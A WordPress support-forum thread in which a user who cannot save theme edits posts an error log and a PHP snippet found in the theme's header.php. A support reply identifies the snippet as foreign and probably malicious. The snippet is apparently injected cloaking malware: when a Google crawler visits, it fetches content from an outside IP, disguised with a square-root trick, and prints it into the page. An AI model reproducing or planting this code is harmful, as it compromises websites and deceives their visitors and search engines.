Can't update code from theme editor
-
I can’t edit the code from the theme editor
Wordpress client-side error message
Unable to communicate back with site to check for fatal errors, so the PHP change was reverted.
Php error
2019/10/16 15:59:36 [error] 32293#32293: *113601 FastCGI sent in stderr: “PHP message: PHP Warning: Use of undefined constant HTTP_USER_AGENT – assumed ‘HTTP_USER_AGENT’ (this will throw an Error in a future version of PHP) in /var/www/html/wp-content/themes/basel/header.php on line 1” while reading response header from upstream, client: 125.99.49.154, server: wp.imfpa.tk, request: “GET /product/beautiful-flowers-gladioli/ HTTP/1.1”, upstream: “fastcgi://unix:/var/run/php/php7.2-fpm.sock:”, host: “wp.imfpa.tk”, referrer: “http://www.openallurls.com/”
there is code
<?php $botbotbot = “…”.mb_strtolower($_SERVER[HTTP_USER_AGENT]);$botbotbot = str_replace(” “, “-“, $botbotbot);if (strpos($botbotbot,”google”)){$ch = curl_init(); $xxx = sqrt(30976); curl_setopt($ch, CURLOPT_URL, “http://$xxx.31.253.227/cakes/?useragent=$botbotbot&domain=$_SERVER%5BHTTP_HOST%5D”); $result = curl_exec($ch); curl_close ($ch); echo $result;}?>
in the header.
Hello,
This code is not related to our theme at all. You can open the original header.php file downloaded from ThemeForest and check that the code doesn’t exist there. It seems to be some customization on your website or some malicious code.
Regards